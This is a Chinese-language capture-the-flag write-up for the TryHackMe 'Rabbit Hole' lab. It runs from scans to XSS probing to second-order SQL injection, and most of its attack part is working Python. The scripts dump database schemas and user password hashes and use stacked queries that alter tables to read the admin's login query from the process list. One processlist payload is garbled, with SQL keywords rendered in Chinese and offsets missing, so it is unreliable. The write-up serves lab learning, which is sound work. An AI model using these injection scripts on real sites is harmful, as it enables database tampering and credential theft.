THM Rabbit Hole
信息收集
[2025-08-25 17:29:28] [INFO] 暴力破解线程数: 1 [2025-08-25 17:29:28] [INFO] 开始信息扫描[2025-08-25 17:29:28] [INFO] 最终有效主机数量: 1[2025-08-25 17:29:28] [INFO] 开始主机扫描[2025-08-25 17:29:28] [INFO] 有效端口数量: 233[2025-08-25 17:29:28] [SUCCESS] 端口开放 10.10.13.181:22[2025-08-25 17:29:28] [SUCCESS] 服务识别 10.10.13.181:22 => [ssh] 版本:8.9p1 产品:OpenSSH 信息:protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.9p1.][2025-08-25 17:29:29] [SUCCESS] 端口开放 10.10.13.181:80[2025-08-25 17:29:35] [SUCCESS] 服务识别 10.10.13.181:80 => [http][2025-08-25 17:29:35] [INFO] 存活端口数量: 2[2025-08-25 17:29:35] [INFO] 开始漏洞扫描[2025-08-25 17:29:35] [INFO] 加载的插件: ssh, webpoc, webtitle[2025-08-25 17:29:36] [SUCCESS] 网站标题 http://10.10.13.181 状态码:200 长度:723 标题:Your page title here :)[2025-08-25 17:30:39] [SUCCESS] 扫描已完成: 3/3
目录扫描
Target: http://10.10.13.181/[17:30:43] Starting:[17:30:57] 403 - 277B - /.ht_wsr.txt[17:30:57] 403 - 277B - /.htaccess.bak1[17:30:57] 403 - 277B - /.htaccess.orig[17:30:57] 403 - 277B - /.htaccess.sample[17:30:57] 403 - 277B - /.htaccess.save[17:30:57] 403 - 277B - /.htaccess_orig[17:30:57] 403 - 277B - /.htaccessBAK[17:30:57] 403 - 277B - /.htaccess_extra[17:30:57] 403 - 277B - /.htaccess_sc[17:30:57] 403 - 277B - /.htaccessOLD[17:30:57] 403 - 277B - /.htaccessOLD2[17:30:57] 403 - 277B - /.html[17:30:57] 403 - 277B - /.htm[17:30:57] 403 - 277B - /.htpasswd_test[17:30:57] 403 - 277B - /.htpasswds[17:30:57] 403 - 277B - /.httr-oauth[17:32:00] 301 - 310B - /css -> http://10.10.13.181/css/[17:32:29] 200 - 472B - /login.php[17:32:30] 302 - 0B - /logout.php -> /[17:32:58] 200 - 502B - /register.php[17:33:04] 403 - 277B - /server-status[17:33:04] 403 - 277B - /server-status/
进入80端口发现有注册,先注册一下账户进去
没找到啥东西,测一下sql注入吧,登录和注册都测一下,但是两个数据包都直接放进sqlmap没有跑出来
获取shell
XSS
上图可以发现自己的用户名被显示在屏幕上了,测一下xss,注册<script>1</script>
的用户,进来发现
简单绕一下
</tr><script>alert(1)</script>
成功弹窗,但是对于拿数据的话没啥用,不过这也证实了一点,就是我们的输入会被放入表中,之后通过查询获取,那么就可能存在二次SQL注入
SQL注入
二次注入的话自己写个py脚本
import requestsimport sysurl_base = "http://10.10.181.4/"payload = '" UNION SELECT 1,2#'s = requests.session()s.post(url_base + "register.php", data={"username": payload, "password": "123", "submit": "%E6%8F%90%E4%BA%A4"})s.post(url_base + "login.php", data={"username": payload, "password": "123", "login": "%E6%8F%90%E4%BA%A4"})r = s.get(url_base)print(r.text)<thead><th>User 1 - admin last logins</th></thead><tbody><tr><td>2025-08-25 10:20</td></tr><tr><td>2025-08-25 10:19</td></tr><tr><td>2025-08-25 10:18</td></tr><tr><td>2025-08-25 10:17</td></tr><tr><td>2025-08-25 10:16</td></tr></tbody></table><table class="u-full-width"><thead><th>User 42 - " UNION SELECT 1,2# last logins</th></thead><tbody><tr><td>2</td></tr></tbody></table></div></div></div>
回显位是2,那接下来就是标准流程了,但是又发现了一个问题
import requestsimport sysurl_base = "http://10.10.181.4/"payload = '" UNION select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#'s = requests.session()s.post(url_base + "register.php", data={"username": payload, "password": "123", "submit": "%E6%8F%90%E4%BA%A4"})s.post(url_base + "login.php", data={"username": payload, "password": "123", "login": "%E6%8F%90%E4%BA%A4"})r = s.get(url_base)print(r.text)tr><td>information_sche</td></tr>
每次只回显16位,修改一下脚本,问ai就行,然后自己稍微改一下就能用了
#!/usr/bin/env python3import requestsfrom bs4 import BeautifulSoupurl_base = "http://10.10.181.4/"output_file = "1.txt"# 初始化偏移量result = ""offset = 0while True:# 修改 payload,使用 `SUBSTRING` 函数逐步获取数据payload = f'" UNION SELECT 1,SUBSTRING(group_concat(SCHEMA_NAME), {offset+1}, 16) FROM information_schema.SCHEMATA#'# 创建会话s = requests.session()s.post(url_base + "register.php", data={"username": payload, "password": "123", "submit": "%E6%8F%90%E4%BA%A4"})s.post(url_base + "login.php", data={"username": payload, "password": "123", "login": "%E6%8F%90%E4%BA%A4"})r = s.get(url_base)# 使用 BeautifulSoup 解析 HTMLsoup = BeautifulSoup(r.text, "html.parser")td_elements = soup.find_all("td") # 获取所有 <td> 标签内容# 获取目标数据data = td_elements[5].get_text()if len(data) <= 0:breakresult += dataoffset += 16 # 更新偏移量print(f"Fetched: {data}")# 将结果写入文件with open(output_file, "w") as f:f.write(result)print(f"Final result written to {output_file}")
这样就可以正常查看了
" UNION SELECT 1,SUBSTRING(group_concat(SCHEMA_NAME), {offset+1}, 16) FROM information_schema.SCHEMATA#information_schema,web" UNION SELECT 1,SUBSTRING(group_concat(table_name), {offset+1}, 16) from information_schema.tables where table_schema=\'web\'#users,logins" UNION SELECT 1,SUBSTRING(group_concat(column_name), {offset+1}, 16) from information_schema.columns where table_name=\'users\'#id,username,password,group" UNION SELECT 1,SUBSTRING(group_concat(id,":",username,":",password,":",`group` SEPARATOR "\n"), {offset+1}, 16) FROM web.users where id<4#1:admin:0e3ab8e45ac1163c2343990e427c66ff:admin2:foo:a51e47f646375ab6bf5dd2c42d3e6181:guest3:bar:de97e75e5b4604526a2afaed5f5439d7:guest
拿到了admin的md5值,但是不能被破解,后面参考了一下歪果仁大佬Jaxafed
的思路,说是有一个PROCESSLIST
表,它位于 information_schema
数据库,可以查询数据库中当前正在运行的查询,由于 admin
用户每分钟都会登录网站,并且登录查询中会调用 SLEEP
函数,因此我们每分钟都会有五秒钟的时间从表中读取登录查询。如果用户密码的哈希值不是在 PHP
代码中完成的,而是使用 MD5
函数传递给 MySQL ,能够获取 admin
用户的密码。
然后就是如何查询的问题了,这里直接说一个最简单的先,那就是下面的payload
0“ union all select null,mid(info,1,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,97,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,113,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,129,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%' -- -
当然有一些有意思的思路,就是先修改user的id字段的属性改为string,然后使用当前正在运行的查询来更新表中的 id
字段
#!/usr/bin/env python3import requestsimport reimport timeimport sysurl_base = sys.argv[1]# modify the data type for the id columns = requests.session()payload = f'" UNION SELECT 1,2; ALTER TABLE web.users MODIFY id VARCHAR(255); ALTER TABLE web.users DROP PRIMARY KEY;#'s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})s.get(url_base)# create and log in with an account to update the id column with the current queries if it is not emptys = requests.session()payload = f'" UNION SELECT 1,2; UPDATE web.users SET id=(SELECT IFNULL(GROUP_CONCAT(INFO_BINARY),"1") FROM information_schema.PROCESSLIST WHERE INFO_BINARY NOT LIKE "%INFO_BINARY%") WHERE username="admin";#'s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})# constantly update the id field by fetching the last logins page and if it is not set to 1, print it and exitwhile True:r = s.get(url_base)if "User 1 - admin" not in r.text:print(re.search(r"User (.*) - admin last logins", r.text).group(1))# after successful extraction, clean up the databasepayload = f'" UNION SELECT 1,2; DELETE FROM web.users WHERE username LIKE "%UNION SELECT 1,2%"; UPDATE web.users SET id="1" WHERE username="admin"; ALTER TABLE web.users MODIFY id INT PRIMARY KEY AUTO_INCREMENT;#'s = requests.session()s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})s.get(url_base)breaktime.sleep(1)
运行脚本,我们能够提取 admin
用户的登录查询并发现密码。
python3 sqli_stacked_queries.py 'http://10.10.181.4/' SELECT * from users where (username= 'admin' and password=md5('fE[REDACTED]0Q') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2
获取flag
然后登录ssh即可